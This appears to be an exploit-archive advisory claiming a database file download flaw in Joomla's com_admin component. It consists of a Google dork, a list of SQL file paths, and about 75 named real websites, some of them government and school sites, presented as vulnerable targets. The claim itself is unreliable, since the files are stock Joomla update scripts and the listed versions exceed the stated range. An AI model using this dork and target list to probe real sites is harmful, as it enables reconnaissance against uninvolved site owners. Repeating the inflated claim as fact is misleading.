Joomla com_admin component versions 2.5.4 through 3.7.4 suffer from a database disclosure vulnerability.
e3c7af83f4e760aa4085c3ddbb3d3b7a#################################################################################################
# Exploit Title : Joomla com_admin Components from V2.5.4 to V3.7.4
Database Backup Arbitrary File Download Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 19/11/2018
# Vendor Homepage : joomla.org
+
github.com/joomla-projects/gsoc18_override_management/tree/master/administrator/components/com_admin
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : V2.5.4 - V2.5.6 - V2.5.7 - V3.0.0 3.0.1
V3.0. V3.0.3 V3.1.0 V3.1.1 V3.1.2 V3.1.3 V3.1.4 V3.1.5 V3.2.0 V3.2.1
V3.4.0 V3.7.4 and if etcetera....
# Google Dorks : inurl:''/administrator/components/com_admin/sql/''
# Exploit Risk : Medium
# CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
#################################################################################################
# Admin Panel Login Path :
/administrator
#################################################################################################
# Exploit :
Check this folders =>
/joomla/administrator/components/com_admin/sql/others/mysql/......
/PATH/PATH/administrator/components/com_admin/sql/others/mysql/......
/PATH/administrator/components/com_admin/sql/updates/mysql/......
/administrator/components/com_admin/sql/updates/mysql/......
/administrator/components/com_admin/sql/updates/postgresql/.......
/administrator/components/com_admin/sql/updates/sqlazure/......
/administrator/components/com_admin/sql/updates/mysql/2.5.4-[YEAR]-[MONTH]-[DAY].sql
/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql
/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-19.sql
/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
/administrator/components/com_admin/sql/updates/mysql/2.5.6.sql
/administrator/components/com_admin/sql/updates/mysql/2.5.7.sql
/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
/PATH/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-[YEAR]-[MONTH]-[DAY].sql
/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-18.sql
/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-19.sql
/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
/administrator/components/com_admin/sql/updates/sqlazure/2.5.6.sql
/administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql
/administrator/components/com_admin/sql/updates/mysql/2.5.[THIS-NUMBER-CHANGES-].sql
#################################################################################################
# Example Vulnerable Sites =>
[+]
xpilot-ai.org/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql
[+]
colegiosanpedroclaver.edu.co/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql
[+]
freightdb.kzntransport.gov.za/administrator/components/com_admin/sql/updates/postgresql/3.1.0.sql
[+]
speccontrol.pl/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
[+]
integratedfg.com/administrator/components/com_admin/sql/updates/mysql/2.5.9.sql
[+]
elroyce.com/home/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
[+]
groupepromotran.net/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
[+]
clicdesourischemille.fr/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql
[+]
elmwoodnebraska.com/nl/administrator/components/com_admin/sql/updates/postgresql/3.9.0-2018-06-14.sql
[+]
kkn.cz/gdpr/administrator/components/com_admin/sql/updates/mysql/3.2.1.sql
[+]
flauzac.eu/administrator/components/com_admin/sql/updates/mysql/2.5.7.sql
[+]
cd06ffme.fr/joomla/administrator/components/com_admin/sql/updates/sqlazure/2.5.15.sql
[+]
alcbrh.com/supp%209/joomla/administrator/components/com_admin/sql/updates/postgresql/3.2.0.sql
[+]
sunshrine.com/administrator/components/com_admin/sql/updates/mysql/2.5.14.sql.encrypted
[+]
murraynebraska.com/nl/administrator/components/com_admin/sql/updates/sqlazure/3.2.1.sql
[+]
witecc.com/wit/administrator/components/com_admin/sql/updates/mysql/3.0.2.sql
[+]
recursosvirtualesperu.com/joomla/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
[+]
library.franklincountyva.gov/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql
[+]
tgr.org.hk/administrator/components/com_admin/sql/updates/postgresql/3.1.1.sql
[+]
sheltonbeach.org/administrator/components/com_admin/sql/updates/sqlazure/2.5.9.sql
[+]
labarjaque.com/administrator/components/com_admin/sql/updates/mysql/3.0.3.sql
[+]
vir.nw.ru/test/vir.nw/administrator/components/com_admin/sql/updates/mysql/3.0.3.sql
[+]
gammarth-immobiliere.tn/new/administrator/components/com_admin/sql/updates/postgresql/3.1.3.sql
[+]
hfcforestry.com/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql
[+]
clickhouseghana.com/EchoStop/administrator/components/com_admin/sql/updates/postgresql/3.4.4-2015-07-11.sql
[+]
seaportsa.com/es/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
[+]
avagarrett.net/__MACOSX/bt_education_v3.0.0_j25_quickstart/administrator/components/com_admin/sql/updates/mysql/._1.7.0.sql
[+]
suntechmed.com/__MACOSX/suntechmed15/administrator/components/com_admin/sql/updates/sqlazure/._3.1.3.sql
[+]
villaalena.cz/administrator/components/com_admin/sql/updates/mysql/3.0.2.sql
[+]
colo-passion.fr/site/videoprivate/administrator/components/com_admin/sql/updates/sqlazure/2.5.21.sql
[+]
cosemsmg.org.br/site/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql
[+]
djabugay.org.au/Joomla/administrator/components/com_admin/sql/updates/sqlazure/3.1.5.sql
[+]
stoneandequipment.com/panama/administrator/components/com_admin/sql/updates/postgresql/3.1.5.sql
[+]
brisbug.asn.au/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql
[+]
lopes.im/administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql
[+]
institutoagricola.com/administrator/components/com_admin/sql/updates/sqlazure/3.7.4-2017-07-05.sql
[+]
operaciavianocnedieta.sk/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
[+]
billybobproducts.com/whitetaleslodge/administrator/components/com_admin/sql/updates/mysql/1.7.0.sql
[+]
operaciavianocnedieta.sk/administrator/components/com_admin/sql/updates/sqlazure/3.0.1.sql
[+]
arnes.si/~sspmmetl/administrator/components/com_admin/sql/updates/mysql/3.1.4.sql
[+]wenscom.it/administrator/components/com_admin/sql/updates/mysql/3.1.2.sql
[+]
cheerleading.com.sg/events/administrator/components/com_admin/sql/updates/mysql/3.4.0-2014-09-16.sql
[+]
osm.chiangrai.net/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
[+]
datacomplete.com/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql
[+]
mail.nisselwater.com/joomla30/administrator/components/com_admin/sql/updates/mysql/3.1.2.sql
[+]
hcerstein.com/joomla/administrator/components/com_admin/sql/updates/mysql/2.5.13.sql
[+]
epmanagementconsult.com/__MACOSX/administrator/components/com_admin/sql/updates/mysql/._3.1.1.sql
[+]
mvapower.com/MVASITE/administrator/components/com_admin/sql/updates/mysql/3.0.1.sql
[+]
allamericanbailbonds.com/__MACOSX/allamericanbailbonds.com/administrator/components/com_admin/sql/updates/mysql/._2.5.6.sql
[+]
municipalidadelbosque.cl/joomla/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
[+]
yurtyay.com.tr/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql
[+]
universoautista.com.br/portal/administrator/components/com_admin/sql/updates/mysql/2.5.10.sql
[+]
hoefelmayr.net/Joomla/administrator/components/com_admin/sql/updates/mysql/2.5.10.sql
[+]
patrioticsolutions.com/sites/askkarate/administrator/components/com_admin/sql/updates/mysql/3.1.4.sql
[+]
hazelgreenfire.org/home/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
[+]
misioneritasarcadsa.com.ar/Joomla/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql
[+]
staszickutno.pl/jbip/administrator/components/com_admin/sql/updates/mysql/2.5.0-2011-12-06.sql
[+]
pkiakks.org/web2/administrator/components/com_admin/sql/updates/mysql/2.5.6.sql
[+]
ctnanotubos.com.br/projetos/administrator/components/com_admin/sql/updates/mysql/3.4.0-2014-12-03.sql
[+]
dev.intellizim.com/ppeinternational/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
[+]
positanolirica.com.ar/positano/administrator/components/com_admin/sql/updates/postgresql/3.1.0.sql
[+]
reptileone.com.au/__MACOSX/shaper_awetive_quickstart_j3/administrator/components/com_admin/sql/updates/mysql/._2.5.11.sql
[+]
sportxanalitix.com/home/administrator/components/com_admin/sql/updates/mysql/3.6.0-2016-04-06.sql
[+]
tecso.com.mx/v2/__MACOSX/blog/administrator/components/com_admin/sql/updates/mysql/._3.0.1.sql
[+]
kohinoortarpaulin.net/administrator/components/com_admin/sql/updates/sqlazure/3.1.1.sql
[+]
raphstudio.com.br/site/v1/administrator/components/com_admin/sql/updates/sqlazure/3.1.5.sql
[+]
fotozrak.mk/print/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql
[+]
idealkorpus.com/pt/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql
[+]
ateliedearomas.com.br/atelie/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
[+]
bristolacneremoval.co.uk/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
[+]
moob.cl/clientes/__MACOSX/puc/administrator/components/com_admin/sql/others/mysql/._utf8mb4-conversion-01.sql
[+]
skansjofrakt.se/joo2/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql
[+]
utilsoluciones.com/en/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql
[+]
igorgalic.freeserverhost.com/joomla/administrator/components/com_admin/sql/updates/mysql/2.5.1-2012-01-26.sql
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################